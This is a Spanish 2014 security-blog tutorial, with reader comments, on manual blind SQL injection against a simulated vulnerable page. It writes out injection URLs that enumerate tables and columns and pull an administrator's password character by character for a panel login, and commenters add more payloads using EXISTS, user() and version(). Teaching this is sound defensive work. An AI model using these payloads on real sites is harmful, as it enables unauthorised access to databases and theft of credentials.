09 mayo 2014

Blind Sqli: Cuando la inyección no muestra error





DISCLAIMER: En este post verás que se usa la web de Security By Default como ejemplo de web vulnerable a un ataque Blind SQL Injection. No es que sea realmente vulnerable, sino es una simulación para mostrar el comportamiento. Por motivos legales, he evitado utilizar una web pública, vulnerable a Blind SQL Injection.

Este tipo de vulnerabilidad, es muy poco explotada manualmente, desde que apareció Sqlmap, pero igualmente en este post os quiero enseñar cómo llevarla a cabo. OJO que este tutorial es de inyección SQL a ciegas básico, hay otras técnicas mas avanzadas.

Primero debemos buscar nuestra url vulnerable… ¿Cómo hacemos esto?

RECONOCIMIENTO.


entramos a la web y vemos algo asi :

Imágenes integradas 1

Ok perfecto ahora a detectar…

Suele ser:

La primera sentencia es verdadera debido a que 1=1, y la segunda sentencia 1=0 es falsa. Probaremos la primera sentencia y nos sale lo siguiente:

 Imágenes integradas 2

Y ahora probaremos el falso:

Imágenes integradas 3 

Esto quiere decir que hemos encontrado una web vulnerable a Blind Sql Injection. En resumen, este tipo de explotación lo único que ves es si el resultado es correcto o es falso.

Hago un select a la tabla sbd. Si me da cara de verdadero es que existe la tabla, si me da cara de falso el resultado es falso. Igual pasa al sacar el contenido. S es esto entonces es verdadero, si no, es falso. Lo primero que vamos a buscar en las Blind SQL Injection es nombres de tablas ¿cómo? predicting. Después les enseñaré a hacer matching para sacar de otras formas…

Las inyecciones para sacar nombre de tablas se hacen de la siguiente forma:

 http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM tabla)#

¿Qué es esto? Bueno, lo que estamos haciendo es hacerle un select count pero ¿por qué no solo un select? ¿porque de qué nos sirve una tabla que no tenga registros? Busquemos tablas con nombres populares

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM usuarios)

Imágenes integradas 4

Nada.. probemos otras

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM nombres) 

Imágenes integradas 6

Nada.. seguimos insisitiendo. Recuerden que es SQL Injection a mano.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM users) 

Imágenes integradas 7

Eureka! Ya tenemos una tabla, que se llama users. Ahora vamos a comenzar a ver qué hay dentro de esta tabla… probando columnas. 

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name)) FROM users)# 

 Imágenes integradas 8

Nada.. intentemos con otra columna.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name_user)) FROM users)#

 Imágenes integradas 9

Así hasta que demos con la correcta.  
Probando http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name_usr)) FROM users)# 

Imágenes integradas 10 

...ya tenemos el nombre de nuestra tabla de nombres si seguimos buscando así, llegaríamos a la de passwords y otros datos…

Ahora lo que debemos hacer, como estamos viendo que es el ejemplo de un blog, es buscar si hay un link para el perfil o los posts del administrador… Al parecer lo hay en http://securitybydefault.com/blind/users/user.php?id=1 su nombre Xander

Por deducción saqué que el campo de id sería id_usr…
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH(name_usr) FROM users where id_usr=1)#

Al ver el id de xander es el 1, por lógica el id_usr 1 debe ser el de xander veamos cuantos caracteres tiene su nombre… pero por lógica xander = 6 asi que con el 6 me debe salir true…

Imágenes integradas 11

Bien ya tenemos y hemos confirmado que su usuario para loguearse es xander… ahora la pregunta del millón ¿y para sacar el password? primero veamos si está hasheada en md5. En el caso de MD5 de 128 bits se representa típicamente como una cadena de 32 caracteres.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH (pass_usr) FROM users where id_usr=1) = 32# 

 Imágenes integradas 12

Por lo que vemos, no esta en MD5. Vamos a probar si es mas pequeña que 10 caracteres el password…

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH (pass_usr) FROM users where id_usr=1) < 10#

Imágenes integradas 13 

El admin xander tiene un contraseña corta será menor que 5?

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH(pass_usr) FROM users where id_usr=1) < 5 # 

 Imágenes integradas 14

es mayor o igual que 5, probaremos con 5?

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGHT(pass_usr) FROM users where id_usr=1) = 5 # 

Imágenes integradas 15

5 caracteres de password ahora como sacar la password? podriamos preguntarle si la password es 12345 pero sería como estar haciendo brute force. Vamos a sacar caracter por caracter con la funcion substring de mysql y ascii…

Vamos a necesitar una tabla ASCII. La lógica es: ascii(substring((consulta),caracter,hastadondellegar))
El código ASCII del carácter 0 es igual a 48. Verifiquemos si el primer caracter es 0

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=48# 

 Imágenes integradas 16

Como el resultado es falso, probaríamos sucesivamente con el valor 49 
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=49# 

Imágenes integradas 17 

 y como vemos, es verdadero. Ya tenemos el primer caracter, seguimos con la segunda posición… veamos si es 2 ascii de 2: 50


http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),2,1))=50# 


El segundo carácter 2 ... a ver creo que ya entendieron que el punto es que su contraseña es 12345. ¿Cómo sacamos el 5 en el último carácter?

Imágenes integradas 18

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),5,1))=53#

Tenemos una buena idea de cual puede ser su contraseña, busquemos el panel, aunque creo que este debió ser el primer paso... si no, te has pegado un rato inyectando para nada. Suponiendo que el panel de control es: http://www.securitybydefault.com/blind/p4n3l, nos podríamos loggear con user: xander pass: 12345

Igual pudimos haber seguido hasta sacar todos los caracteres del password pero era bastante predecible :)


Artículo por cortesía de @Seguridadblanca

18 comments :

Uaker dijo...

y mañana nos enseñaran a usar una webchell

txalin dijo...

Good work!! La de usuarios y contraseñas que se pueden sacar con esta técnica hoy en día es aberrante :)))

Como dato adicional, a la hora de intentar averiguar el nombre de la tabla, si la bbdd es mysql hay una funcion genial llamada "exists" (creo que queda claro para que sirve, no? :D ), asi que si le metes un "id=1 and (exists (select * from nombre_tabla)" tambien funcionaría en webs php.

Además para ir mas rápido podemos jugar con el usuario que esta ejecutando el mysql en el server con la funcion user() o current_user() tal que asi: "id= 1 and 150>ASCII(substring(user(),1,1))" asi sacamos rapidamente un nombre de usuario, la longitud la sacamos con "length(user())" la version de la bbdd con "id= 1 and 150>ASCII(substring(version(),1,1))",etc,etc,etc... es una gozada esto de las funciones de las bbdds, ahorra un monton de curro!! :D

masticover dijo...

Buena entrada, aunque un poco lío :)
Un apunte: con una búsqueda dicotómica al final nos ahorraremos muchas comparaciones, sobre todo si la contraseña está compuesta de caracteres alfanuméricos.
Un saludo.

lawwait dijo...

Si ves que puedes hacer algo más interesante o llamativo, prueba a enviar una contribución :)

Ansi dijo...

Esa es la razon por la que no tenemos un blog... para presentar estas cosas... mejor me voy de cañas!

lawwait dijo...

Perfecto! Pídeme a mí una de bravas también, que ahora voy. Repito, si tienes ninguna colaboración que merezca la pena, envíanosla...
Siendo el gurú que eres, tendrás ideas para escribir a mansalva, ¿no? Es más, pon tu nick/correo de verdad y así te podemos tutear ¿o prefieres ser un gallina anónimo? :)

Tumadrequeteespiadesdelapuerta dijo...

Pasado nos postean un video de youtube sobre como usar e instalar netbus.

Nomeliesquemelio dijo...

Ésto es válido para aquellos que estén aprendiendo a construir sus propios foros y cosas similares y que no caigan en los fallos tontos típicos de hace 15 años.
Pero esperar que a día de hoy, en 2014, una web "aceptable" con unos foros medianamente robustos, no parsee las variables antes de montar la query contra la BD, es como esperar a que el server tire con IIS de Windows 2000. (ojo, que los hay,. pero afortunadamente cada vez hay menos)

Uaker dijo...

Entiendo que a ti te resulte interesante el post

winsock dijo...

Muchas felicidades por la publicación del articulo. Personalmente me parece muy limpio, muy trabajado y excepcionalmente explicado. Siento que otras personas no sean capaces de valorar el esfuerzo, pero ya sabemos que los tontos se levantan todos los días.

winsock dijo...

Mira a ver si te viene bien la 1.7. https://www.youtube.com/watch?v=plDusPz0Fd4

Uaker dijo...

Grasias por el aporte

Wrong dijo...

Poco has auditado tu, me temo. Siguen existiendo incluso en compañías punteras.

ravasquez dijo...

Gracias por el articulo, me dio ideas para hacer harderning de mysql.

LECTER dijo...

Muy buen post amigos, muchas gracias espero con ancias otro aporte igual de bueno.


Saludos.

Dedalo dijo...

http://thehackernews.com/2013/04/yahoo-blind-sql-injection-could-lead-to.html para tu conocimiento, hasta los más grandes tienen esta vulnerabilidad y definitivamente no has auditado lo suficiente si no has encontrado blind sql injections bro, con el tiempo seguro encontrarás mas... hay tools que lo sacan rápido pero siempre es bueno saber que hace la tool por detrás.

Anonimillo dijo...

Algo de hace más de... ¿10 años? Bueno, está un poco pasado. ¿Cómo es que aun pasa? Es que no todo el mundo nace enseñado y hay malos profesionales en todos los sitios. ¿Qué aun pasa incluso en compañías punteras? Me remito a la ignorancia y malos profesionales y también al amarillismo. A veces una web que se come una comilla pero... no es importante en todos los servdores. A veces puedes leer la BD pero no puedes hacer nada: ni acceso a otras BD, FS ni escritura en BD ni nada. Se come la comilla un servidor aislado al que no le puedes hacer nada y algunos parece que se creen que pueden entrar en los controles de lanzamiento de misíles nucleares de USA-RUSIA-CHINA juntos.

Así que bueno, artículos como este pues poco aportan porque con toda la información que hay el que no se quiere enterar no se entera, y si no lo sabías ¿qué has estado haciendo estos últimos 10 años? ¿Otra vez el madrid campeón de europa?

@gaaabifranco dijo...

Muy buen artículo !